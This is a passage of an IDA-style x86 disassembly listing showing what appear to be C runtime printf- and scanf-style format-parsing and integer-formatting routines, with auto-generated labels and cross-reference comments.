loc_40D9CA:				; CODE XREF: sub_40D768+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_40D9D3:				; CODE XREF: sub_40D768+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_40DBB2
		cmp	word ptr [eax],	0
		jz	loc_40DBB2
		inc	eax
		inc	eax
		jmp	short loc_40D9D3
; ---------------------------------------------------------------------------


loc_40D9EC:				; CODE XREF: sub_40D768+212j
					; sub_40D768+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_40D9F6:				; CODE XREF: sub_40D768+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_40DADA
		mov	[ebp+var_10], 6
		jmp	loc_40DAE8
; ---------------------------------------------------------------------------


loc_40DA17:				; CODE XREF: sub_40D768+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_40DA23
		or	byte ptr [ebp+var_4+1],	8


loc_40DA23:				; CODE XREF: sub_40D768+2B5j
					; sub_40D768+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_40DA6A
		call	sub_40DF64
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_413460
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_40DA7D
		mov	[ebp+var_28], 1
		jmp	short loc_40DA7D
; ---------------------------------------------------------------------------


loc_40DA54:				; CODE XREF: sub_40D768+1FBj
		sub	eax, 5Ah
		jz	short loc_40DA8B
		sub	eax, 9
		jz	short loc_40DA23
		dec	eax
		jz	loc_40DC4D
		jmp	loc_40DD72
; ---------------------------------------------------------------------------


loc_40DA6A:				; CODE XREF: sub_40D768+2C5j
		call	sub_40DF47
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_40DA7D:				; CODE XREF: sub_40D768+2E1j
					; sub_40D768+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_40DD72
; ---------------------------------------------------------------------------


loc_40DA8B:				; CODE XREF: sub_40D768+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40DF47
		test	eax, eax
		pop	ecx
		jz	short loc_40DACC
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_40DACC
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_40DABD
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_40DD72
; ---------------------------------------------------------------------------


loc_40DABD:				; CODE XREF: sub_40D768+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_40DD6F
; ---------------------------------------------------------------------------


loc_40DACC:				; CODE XREF: sub_40D768+32Fj
					; sub_40D768+336j
		mov	eax, off_41DBF8
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_40DB68
; ---------------------------------------------------------------------------


loc_40DADA:				; CODE XREF: sub_40D768+29Dj
		jnz	short loc_40DAE8
		cmp	bl, 67h
		jnz	short loc_40DAE8
		mov	[ebp+var_10], 1


loc_40DAE8:				; CODE XREF: sub_40D768+2AAj
					; sub_40D768:loc_40DADAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_41FD50
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_40DB3A
		cmp	[ebp+var_10], 0
		jnz	short loc_40DB3A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_41FD5C
		pop	ecx


loc_40DB3A:				; CODE XREF: sub_40D768+3BCj
					; sub_40D768+3C2j
		cmp	bl, 67h
		jnz	short loc_40DB51
		test	esi, esi
		jnz	short loc_40DB51
		lea	eax, [ebp+var_248]
		push	eax
		call	off_41FD54
		pop	ecx


loc_40DB51:				; CODE XREF: sub_40D768+3D5j
					; sub_40D768+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_40DB67
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_40DB67:				; CODE XREF: sub_40D768+3F0j
		push	edi


loc_40DB68:				; CODE XREF: sub_40D768+36Dj
		call	sub_40B5B0
		pop	ecx
		jmp	loc_40DD6F
; ---------------------------------------------------------------------------


loc_40DB73:				; CODE XREF: sub_40D768+1E9j
		sub	eax, 69h
		jz	loc_40DC4D
		sub	eax, 5
		jz	loc_40DC23
		dec	eax
		jz	loc_40DC10
		dec	eax
		jz	short loc_40DBE0
		sub	eax, 3
		jz	loc_40D995
		dec	eax
		dec	eax
		jz	loc_40DC51
		sub	eax, 3
		jnz	loc_40DD72
		mov	[ebp+var_2C], 27h
		jmp	short loc_40DBEE
; ---------------------------------------------------------------------------


loc_40DBB2:				; CODE XREF: sub_40D768+270j
					; sub_40D768+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_40DD6F
; ---------------------------------------------------------------------------


loc_40DBBB:				; CODE XREF: sub_40D768+24Fj
		test	ecx, ecx
		jnz	short loc_40DBC8
		mov	ecx, off_41DBF8
		mov	[ebp+var_8], ecx


loc_40DBC8:				; CODE XREF: sub_40D768+455j
		mov	eax, ecx


loc_40DBCA:				; CODE XREF: sub_40D768+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_40DBD9
		cmp	byte ptr [eax],	0
		jz	short loc_40DBD9
		inc	eax
		jmp	short loc_40DBCA
; ---------------------------------------------------------------------------


loc_40DBD9:				; CODE XREF: sub_40D768+467j
					; sub_40D768+46Cj
		sub	eax, ecx
		jmp	loc_40DD6F
; ---------------------------------------------------------------------------


loc_40DBE0:				; CODE XREF: sub_40D768+425j
		mov	[ebp+var_10], 8


loc_40DBE7:				; CODE XREF: sub_40D768+201j
		mov	[ebp+var_2C], 7


loc_40DBEE:				; CODE XREF: sub_40D768+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_40DC58
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_40DC58
; ---------------------------------------------------------------------------


loc_40DC10:				; CODE XREF: sub_40D768+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_40DC58
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_40DC58
; ---------------------------------------------------------------------------


loc_40DC23:				; CODE XREF: sub_40D768+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40DF47
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_40DC3C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_40DC41
; ---------------------------------------------------------------------------


loc_40DC3C:				; CODE XREF: sub_40D768+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_40DC41:				; CODE XREF: sub_40D768+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40DC4D:				; CODE XREF: sub_40D768+2F7j
					; sub_40D768+40Ej
		or	[ebp+var_4], 40h


loc_40DC51:				; CODE XREF: sub_40D768+432j
		mov	[ebp+var_C], 0Ah


loc_40DC58:				; CODE XREF: sub_40D768+491j
					; sub_40D768+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_40DC6A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40DF54
		pop	ecx
		jmp	short loc_40DCAB
; ---------------------------------------------------------------------------


loc_40DC6A:				; CODE XREF: sub_40D768+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_40DC91
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_40DC86
		call	sub_40DF47
		pop	ecx
		movsx	eax, ax


loc_40DC83:				; CODE XREF: sub_40D768+527j
					; sub_40D768+539j
		cdq
		jmp	short loc_40DCAB
; ---------------------------------------------------------------------------


loc_40DC86:				; CODE XREF: sub_40D768+510j
		call	sub_40DF47
		pop	ecx
		movzx	eax, ax
		jmp	short loc_40DC83
; ---------------------------------------------------------------------------


loc_40DC91:				; CODE XREF: sub_40D768+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_40DCA3
		call	sub_40DF47
		pop	ecx
		jmp	short loc_40DC83
; ---------------------------------------------------------------------------


loc_40DCA3:				; CODE XREF: sub_40D768+531j
		call	sub_40DF47
		pop	ecx
		xor	edx, edx


loc_40DCAB:				; CODE XREF: sub_40D768+500j
					; sub_40D768+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_40DCCC
		test	edx, edx
		jg	short loc_40DCCC
		jl	short loc_40DCBB
		test	eax, eax
		jnb	short loc_40DCCC


loc_40DCBB:				; CODE XREF: sub_40D768+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_40DCD0
; ---------------------------------------------------------------------------


loc_40DCCC:				; CODE XREF: sub_40D768+547j
					; sub_40D768+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_40DCD0:				; CODE XREF: sub_40D768+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_40DCD9
		and	edi, 0


loc_40DCD9:				; CODE XREF: sub_40D768+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_40DCE8
		mov	[ebp+var_10], 1
		jmp	short loc_40DCEC
; ---------------------------------------------------------------------------


loc_40DCE8:				; CODE XREF: sub_40D768+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_40DCEC:				; CODE XREF: sub_40D768+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_40DCF6
		and	[ebp+var_1C], 0


loc_40DCF6:				; CODE XREF: sub_40D768+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_40DCFC:				; CODE XREF: sub_40D768+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_40DD0C
		mov	eax, esi
		or	eax, edi
		jz	short loc_40DD47


loc_40DD0C:				; CODE XREF: sub_40D768+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_40C880
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_40C810
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_40DD3D
		add	ebx, [ebp+var_2C]


loc_40DD3D:				; CODE XREF: sub_40D768+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_40DCFC
; ---------------------------------------------------------------------------


loc_40DD47:				; CODE XREF: sub_40D768+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_40DD72
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_40DD65
		test	eax, eax
		jnz	short loc_40DD72


loc_40DD65:				; CODE XREF: sub_40D768+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_40DD6F:				; CODE XREF: sub_40D768+35Fj
					; sub_40D768+406j ...
		mov	[ebp+var_C], eax


loc_40DD72:				; CODE XREF: sub_40D768+21Bj
					; sub_40D768+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_40DE70	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_40DDAA
		test	bh, 1
		jz	short loc_40DD8F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_40DDA3
; ---------------------------------------------------------------------------


loc_40DD8F:				; CODE XREF: sub_40D768+61Fj
		test	bl, 1
		jz	short loc_40DD9A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_40DDA3
; ---------------------------------------------------------------------------


loc_40DD9A:				; CODE XREF: sub_40D768+62Aj
		test	bl, 2
		jz	short loc_40DDAA
		mov	[ebp+var_16], 20h


loc_40DDA3:				; CODE XREF: sub_40D768+625j
					; sub_40D768+630j
		mov	[ebp+var_1C], 1


loc_40DDAA:				; CODE XREF: sub_40D768+61Aj
					; sub_40D768+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_40DDCA
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_40DEDE
		add	esp, 10h


loc_40DDCA:				; CODE XREF: sub_40D768+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_40DF0F
		add	esp, 10h
		test	bl, 8
		jz	short loc_40DDFC
		test	bl, 4
		jnz	short loc_40DDFC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_40DEDE
		add	esp, 10h


loc_40DDFC:				; CODE XREF: sub_40D768+67Bj
					; sub_40D768+680j
		cmp	[ebp+var_24], 0
		jz	short loc_40DE43
		cmp	[ebp+var_C], 0
		jle	short loc_40DE43
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_40DE11:				; CODE XREF: sub_40D768+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_413460
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40DE58
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40DF0F
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_40DE11
		jmp	short loc_40DE58
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D768+698j
					; sub_40D768+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_40DF0F
		add	esp, 10h


loc_40DE58:				; CODE XREF: sub_40D768+6BCj
					; sub_40D768+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_40DE70 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_40DEDE
		add	esp, 10h


loc_40DE70:				; CODE XREF: sub_40D768+68j
					; sub_40D768+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_40D794


loc_40DE81:				; CODE XREF: sub_40D768+1Fj
					; sub_40D768+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D768	endp

; ---------------------------------------------------------------------------
off_40DE89	dd offset loc_40D907	; DATA XREF: sub_40D768+6Er
		dd offset loc_40D7DD	; jump table for switch	statement
		dd offset loc_40D7F8
		dd offset loc_40D844
		dd offset loc_40D87B
		dd offset loc_40D883
		dd offset loc_40D8B8
		dd offset loc_40D94B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DEA9	proc near		; CODE XREF: sub_40D768+1BDp
					; sub_40D768+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_40DEC2
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_40DECD
; ---------------------------------------------------------------------------


loc_40DEC2:				; CODE XREF: sub_40DEA9+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_40D653
		pop	ecx
		pop	ecx


loc_40DECD:				; CODE XREF: sub_40DEA9+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_40DEDA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DEDA:				; CODE XREF: sub_40DEA9+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_40DEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DEDE	proc near		; CODE XREF: sub_40D768+65Ap
					; sub_40D768+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_40DF0C
		mov	esi, [esp+8+arg_C]


loc_40DEEF:				; CODE XREF: sub_40DEDE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_40DEA9
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_40DF0C
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_40DEEF


loc_40DF0C:				; CODE XREF: sub_40DEDE+Bj
					; sub_40DEDE+25j
		pop	edi
		pop	esi
		retn
sub_40DEDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF0F	proc near		; CODE XREF: sub_40D768+670p
					; sub_40D768+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_40DF43
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_40DF25:				; CODE XREF: sub_40DF0F+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_40DEA9
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_40DF43
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_40DF25


loc_40DF43:				; CODE XREF: sub_40DF0F+Cj
					; sub_40DF0F+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40DF0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF47	proc near		; CODE XREF: sub_40D768+E5p
					; sub_40D768+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_40DF47	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF54	proc near		; CODE XREF: sub_40D768+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_40DF54	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF64	proc near		; CODE XREF: sub_40D768+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_40DF64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF72	proc near		; CODE XREF: sub_40B56D+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_40E978
		mov	edi, [ebp+arg_0]
		jmp	short loc_40DFA1
; ---------------------------------------------------------------------------


loc_40DF9C:				; CODE XREF: sub_40DF72+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_40DFA1:				; CODE XREF: sub_40DF72+28j
		cmp	dword_41FF84, 1
		jle	short loc_40DFB9
		movzx	eax, al
		push	8
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40DFC8
; ---------------------------------------------------------------------------


loc_40DFB9:				; CODE XREF: sub_40DF72+36j
		mov	ecx, off_41FD78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40DFC8:				; CODE XREF: sub_40DF72+45j
		cmp	eax, ebx
		jz	short loc_40E002
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_40E9FF
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40E9E8
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_413590
		add	esp, 0Ch


loc_40DFF0:				; CODE XREF: sub_40DF72+8Ej
		test	eax, eax
		jz	short loc_40E002
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_413590
		pop	ecx
		jmp	short loc_40DFF0
; ---------------------------------------------------------------------------


loc_40E002:				; CODE XREF: sub_40DF72+58j
					; sub_40DF72+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_40E8E4
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_40E039:				; CODE XREF: sub_40DF72+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_41FF84, 1
		jle	short loc_40E056
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40E065
; ---------------------------------------------------------------------------


loc_40E056:				; CODE XREF: sub_40DF72+D3j
		mov	ecx, off_41FD78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_40E065:				; CODE XREF: sub_40DF72+E2j
		test	eax, eax
		jz	short loc_40E07B
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_40E0E0
; ---------------------------------------------------------------------------


loc_40E07B:				; CODE XREF: sub_40DF72+F5j
		cmp	ebx, 4Eh
		jg	short loc_40E0BE
		jz	short loc_40E0E0
		cmp	ebx, 2Ah
		jz	short loc_40E0B9
		cmp	ebx, 46h
		jz	short loc_40E0E0
		cmp	ebx, 49h
		jz	short loc_40E09B
		cmp	ebx, 4Ch
		jnz	short loc_40E0CD
		inc	[ebp+var_D]
		jmp	short loc_40E0E0
; ---------------------------------------------------------------------------


loc_40E09B:				; CODE XREF: sub_40DF72+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_40E0CD
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_40E0CD
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_40E0E0
; ---------------------------------------------------------------------------


loc_40E0B9:				; CODE XREF: sub_40DF72+113j
		inc	[ebp+var_E]
		jmp	short loc_40E0E0
; ---------------------------------------------------------------------------


loc_40E0BE:				; CODE XREF: sub_40DF72+10Cj
		cmp	ebx, 68h
		jz	short loc_40E0DA
		cmp	ebx, 6Ch
		jz	short loc_40E0D2
		cmp	ebx, 77h
		jz	short loc_40E0D5


loc_40E0CD:				; CODE XREF: sub_40DF72+122j
					; sub_40DF72+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_40E0E0
; ---------------------------------------------------------------------------


loc_40E0D2:				; CODE XREF: sub_40DF72+154j
		inc	[ebp+var_D]


loc_40E0D5:				; CODE XREF: sub_40DF72+159j
		inc	[ebp+var_5]
		jmp	short loc_40E0E0
; ---------------------------------------------------------------------------


loc_40E0DA:				; CODE XREF: sub_40DF72+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_40E0E0:				; CODE XREF: sub_40DF72+107j
					; sub_40DF72+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_40E039
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_40E105
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_40E105:				; CODE XREF: sub_40DF72+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_40E123
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_40E11F
		cmp	al, 43h
		jz	short loc_40E11F
		or	[ebp+var_5], 0FFh
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E11F:				; CODE XREF: sub_40DF72+1A1j
					; sub_40DF72+1A5j
		mov	[ebp+var_5], 1


loc_40E123:				; CODE XREF: sub_40DF72+19Bj
					; sub_40DF72+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_40E15C
		cmp	esi, 63h
		jz	short loc_40E14D
		cmp	esi, 7Bh
		jz	short loc_40E14D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_40E9FF
		pop	ecx
		jmp	short loc_40E158
; ---------------------------------------------------------------------------


loc_40E14D:				; CODE XREF: sub_40DF72+1C5j
					; sub_40DF72+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_40E9CE


loc_40E158:				; CODE XREF: sub_40DF72+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_40E15C:				; CODE XREF: sub_40DF72+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_40E16C
		cmp	[ebp+var_C], eax
		jz	loc_40E948


loc_40E16C:				; CODE XREF: sub_40DF72+1EFj
		cmp	esi, 6Fh
		jg	loc_40E3D3
		jz	loc_40E685
		cmp	esi, 63h
		jz	loc_40E3B0
		cmp	esi, 64h
		jz	loc_40E685
		jle	loc_40E3FD
		cmp	esi, 67h
		jle	short loc_40E1D0
		cmp	esi, 69h
		jz	short loc_40E1B8
		cmp	esi, 6Eh
		jnz	loc_40E3FD
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_40E8B3
		jmp	loc_40E8D9
; ---------------------------------------------------------------------------


loc_40E1B8:				; CODE XREF: sub_40DF72+229j
		push	64h
		pop	esi


loc_40E1BB:				; CODE XREF: sub_40DF72+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_40E445
		mov	[ebp+var_17], 1
		jmp	loc_40E44A
; ---------------------------------------------------------------------------


loc_40E1D0:				; CODE XREF: sub_40DF72+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_40E1EC
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_40E1F1
; ---------------------------------------------------------------------------


loc_40E1EC:				; CODE XREF: sub_40DF72+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_40E208


loc_40E1F1:				; CODE XREF: sub_40DF72+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_40E9CE
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_40E20B
; ---------------------------------------------------------------------------


loc_40E208:				; CODE XREF: sub_40DF72+27Dj
		mov	edi, [ebp+arg_0]


loc_40E20B:				; CODE XREF: sub_40DF72+294j
		cmp	[ebp+var_20], 0
		jz	short loc_40E21A
		cmp	[ebp+var_C], 15Dh
		jle	short loc_40E221


loc_40E21A:				; CODE XREF: sub_40DF72+29Dj
		mov	[ebp+var_C], 15Dh


